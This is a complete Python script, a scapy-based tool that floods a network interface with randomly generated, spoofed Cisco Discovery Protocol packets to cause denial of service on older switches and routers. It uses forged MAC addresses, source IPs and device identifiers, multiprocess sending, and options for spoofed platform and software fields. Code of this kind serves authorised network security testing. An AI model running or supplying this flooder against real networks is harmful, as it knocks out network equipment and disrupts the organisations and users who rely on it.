#!/usr/bin/python

#
# Effective CDP Flooder reaching about 1.7-2.1MiB/s (6-7,5K pps) triggering Denial of Service
# on older network switches and routers like Cisco Switch C2960.
# (p.s. Yersinia reaches up to even 10-12MiB/s - 65K pps!)
#
# Python requirements:
#   - scapy
#
# Mariusz Banach / mgeeky, '18, <mb@binary-offensive.com>
#

import sys
import struct
import string
import random
import argparse
import multiprocessing

try:
    from scapy.all import *
except ImportError:
    print('[!] Scapy required: pip install scapy')
    sys.exit(1)
 
VERSION = '0.1'

config = {
    'verbose' : False,
    'interface' : None,
    'packets' : -1,
    'processors' : 8,
    'source' : '',

    # CDP Fields
    'cdp-platform' : 'Cisco 1841',

    # Software version - at most 199 chars.
    'cdp-software-version' : '''Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.3(11)T2, RELEASE SOFTWARE (fc1)
Copyright (c) 1986-2004 by Cisco Systems, Inc.
Compiled Thu 28-Oct-04 21:09 by cmong''',
    
    # Interface taking up
    'cdp-interface' : 'FastEthernet0/1',
}

stopThreads = False


#
# ===============================================
#

class Logger:
    @staticmethod
    def _out(x): 
        if config['verbose']: 
            sys.stdout.write(x + '\n')

    @staticmethod
    def out(x): 
        Logger._out('[.] ' + x)
    
    @staticmethod
    def info(x):
        Logger._out('[?] ' + x)
    
    @staticmethod
    def err(x): 
        sys.stdout.write('[!] ' + x + '\n')
    
    @staticmethod
    def fail(x):
        Logger._out('[-] ' + x)
    
    @staticmethod
    def ok(x):  
        Logger._out('[+] ' + x)

def cdpDeviceIDgen(size=2, chars=string.ascii_uppercase  +  string.digits  +  string.ascii_lowercase):
    return ''.join(random.choice(chars) for x in range(size))
 

def generatePacket():
    #
    # Parts of this function were taken from source code of 'cdp_flooder.py' by Chris McNab
    #   Network Security Assessment: Know Your Network
    #

    softVer = config['cdp-software-version'][:199]
    platform = config['cdp-platform'][:-4]
    iface = config['cdp-interface']
    deviceID = cdpDeviceIDgen(8)
    srcIP = Net(config['source']).choice()
    caps = random.randint(1, 65)

    etherframe      = Ether()                       #Start definition of Ethernet Frame
    etherframe.dst  = '01:00:0c:cc:cc:cc'           #Set Ethernet Frame destination MAC to Ciscos Broadcast MAC
    etherframe.src  = RandMAC()                     #Set Random source MAC address
    etherframe.type = 0x011e                        #CDP uses Type field for length information
   
    llcFrame      = LLC()                           #Start definition of Link Layer Control Frame
    llcFrame.dsap = 170                             #DSAP: SNAP (0xaa) IG Bit: Individual
    llcFrame.ssap = 170                             #SSAP: SNAP (0xaa) CR Bit: Command
    llcFrame.ctrl = 3                               #Control field Frame Type: Unumbered frame (0x03)
   
    snapFrame      = SNAP()                         #Start definition of SNAP Frame (belongs to LLC Frame)
    snapFrame.OUI  = 12                             #Organization Code: Cisco hex(0x00000c) = int(12)
    snapFrame.code = 8192                           #PID (EtherType): CDP hex(0x2000) = int(8192)
   
    cdpHeader      = CDPv2_HDR()                    #Start definition of CDPv2 Header
    cdpHeader.vers = 1                              #CDP Version: 1 - its always 1
    cdpHeader.ttl  = 255                            #TTL: 255 seconds
   
    cdpDeviceID      = CDPMsgDeviceID()             #Start definition of CDP Message Device ID
    cdpDeviceID.type = 1                            #Type: Device ID hex(0x0001) = int(1)
    cdpDeviceID.len  = 4 + len(deviceID)            #Length: 6 (Type(2) -> 0x00 0x01)  +  (Length(2) -> 0x00 0x0c)  +  (DeviceID(deviceIdLen))                            
    cdpDeviceID.val  = deviceID                     #Generate random Device ID (2 chars uppercase  +  int = lowercase)
   
    cdpAddrv4         = CDPAddrRecordIPv4()         #Start Address Record information for IPv4 belongs to CDP Message Address
    cdpAddrv4.ptype   = 1                           #Address protocol type: NLPID
    cdpAddrv4.plen    = 1                           #Protocol Length: 1
    cdpAddrv4.proto   = '\xcc'                      #Protocol: IP
    cdpAddrv4.addrlen = 4                           #Address length: 4 (e.g. int(192.168.1.1) = hex(0xc0 0xa8 0x01 0x01)
    cdpAddrv4.addr    = str(srcIP)                  #Generate random source IP address
   
    cdpAddr       = CDPMsgAddr()                    #Start definition of CDP Message Address
    cdpAddr.type  = 2                               #Type: Address (0x0002)                  
    cdpAddr.len   = 17                              #Length: hex(0x0011) = int(17)
    cdpAddr.naddr = 1                               #Number of addresses: hex(0x00000001) = int(1)
    cdpAddr.addr  = [cdpAddrv4]                     #Pass CDP Address IPv4 information
   
    cdpPortID       = CDPMsgPortID()                #Start definition of CDP Message Port ID
    cdpPortID.type  = 3                             #type: Port ID (0x0003)
    cdpPortID.len   = 4 + len(iface)                #Length: 13
    cdpPortID.iface = iface                         #Interface string
   
    cdpCapabilities        = CDPMsgCapabilities()   #Start definition of CDP Message Capabilities
    cdpCapabilities.type   = 4                      #Type: Capabilities (0x0004)
    cdpCapabilities.len    = 8                      #Length: 8
    cdpCapabilities.cap    = caps                   #Capability: Router (0x01), TB Bridge (0x02), SR Bridge (0x04), Switch that provides both Layer 2 and/or Layer 3 switching (0x08), Host (0x10), IGMP conditional filtering (0x20) and Repeater (0x40)
   
    cdpSoftVer      = CDPMsgSoftwareVersion()       #Start definition of CDP Message Software Version
    cdpSoftVer.type = 5                             #Type: Software Version (0x0005)
    cdpSoftVer.len  = 4 + len(softVer)              #Length
    cdpSoftVer.val  = softVer
   
    cdpPlatform      = CDPMsgPlatform()             #Statr definition of CDP Message Platform
    cdpPlatform.type = 6                            #Type: Platform (0x0006)
    cdpPlatform.len  = 4 + len(platform)            #Length
    cdpPlatform.val  = platform                     #Platform
        
    restOfCdp = cdpDeviceID / cdpAddr / cdpPortID / cdpCapabilities / cdpSoftVer / cdpPlatform
    
    cdpGeneric = CDPMsgGeneric()
    cdpGeneric.type = 0
    cdpGeneric.len = 0
    cdpGeneric.val = str(restOfCdp)

    cdpGeneric2 = CDPMsgGeneric()
    cdpGeneric2.type = struct.unpack('<H', platform[-4:-2])[0]
    cdpGeneric2.len = struct.unpack('<H', platform[-2:])[0]

    cdppacket = etherframe / llcFrame / snapFrame / cdpHeader / cdpGeneric / cdpGeneric2
    return cdppacket

def flooder(num, packets):
    Logger.info('Starting task: {}, packets num: {}'.format(num, len(packets)))
    packetsGen = []
    sock = conf.L2socket(iface = config['interface'])
    sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.ins.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 512)

    for i in range(512):
        packetsGen.append(generatePacket())

    if len(packets) == 0:
        while stopThreads != True:
            try:
                for p in packetsGen:
                    if stopThreads: raise KeyboardInterrupt
                    sock.ins.send(str(p))
            except KeyboardInterrupt:
                break
    else:
        for p in packets:
            if stopThreads: break
            try:
                for pg in packetsGen:
                    if stopThreads: raise KeyboardInterrupt
                    sock.ins.send(str(pg))
            except KeyboardInterrupt:
                break

    Logger.info('Stopping task: {}'.format(num))
    sock.close()
 
def parseOptions(argv):
    global config

    print('''
        :: CDP Flooding / Denial of Service tool
        Floods the interface with fake, randomly generated CDP packets.
        Mariusz Banach / mgeeky '18, <mb@binary-offensive.com>
        v{}
'''.format(VERSION))

    parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
    parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
    parser.add_argument('-n', '--packets', dest='packets', metavar='NUM', default=-1, type=int, help='Number of packets to send. Default: infinite.')
    parser.add_argument('-s', '--source', metavar='SRC', default='0.0.0.0/0', help='Specify source IP address/subnet. By default: random IP from 0.0.0.0/0')
    parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')

    cdp = parser.add_argument_group('CDP Fields', 'Specifies contents of interesting CDP fields in packets to send')
    cdp.add_argument('--software', help = 'Software version')
    cdp.add_argument('--platform', help = 'Device Platform')
    cdp.add_argument('--cdpinterface', help = 'Device Interface')

    args = parser.parse_args()

    config['verbose'] = args.verbose
    config['interface'] = args.interface
    config['packets'] = args.packets
    config['source'] = args.source
    config['processors'] = multiprocessing.cpu_count()

    if args.cdpinterface: config['cdp-interface'] = args.cdpinterface
    if args.platform: config['cdp-platform'] = args.platform
    if args.software: config['cdp-sofware-version'] = args.software

    Logger.info('Will use {} processors.'.format(config['processors']))

    return args

def main(argv):
    global stopThreads

    opts = parseOptions(argv)
    if not opts:
        Logger.err('Options parsing failed.')
        return False

    if os.getuid() != 0:
        Logger.err('This program must be run as root.')
        return False

    load_contrib('cdp')

    packetsLists = [[] for x in range(config['processors'])]

    if config['packets'] > 0:
        for i in range(config['packets']):
            packetsLists[i % config['processors']].append(i)

    jobs = []

    for i in range(config['processors']):
        task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i]))
        jobs.append(task)
        task.daemon = True
        task.start()

    print('[+] Started flooding. Press CTRL-C to stop that.')
    try:
        while jobs:
            jobs = [job for job in jobs if job.is_alive()]
    except KeyboardInterrupt:
        stopThreads = True
        print('\n[>] Stopping...')

    stopThreads = True
    time.sleep(3)

if __name__ == '__main__':
    main(sys.argv)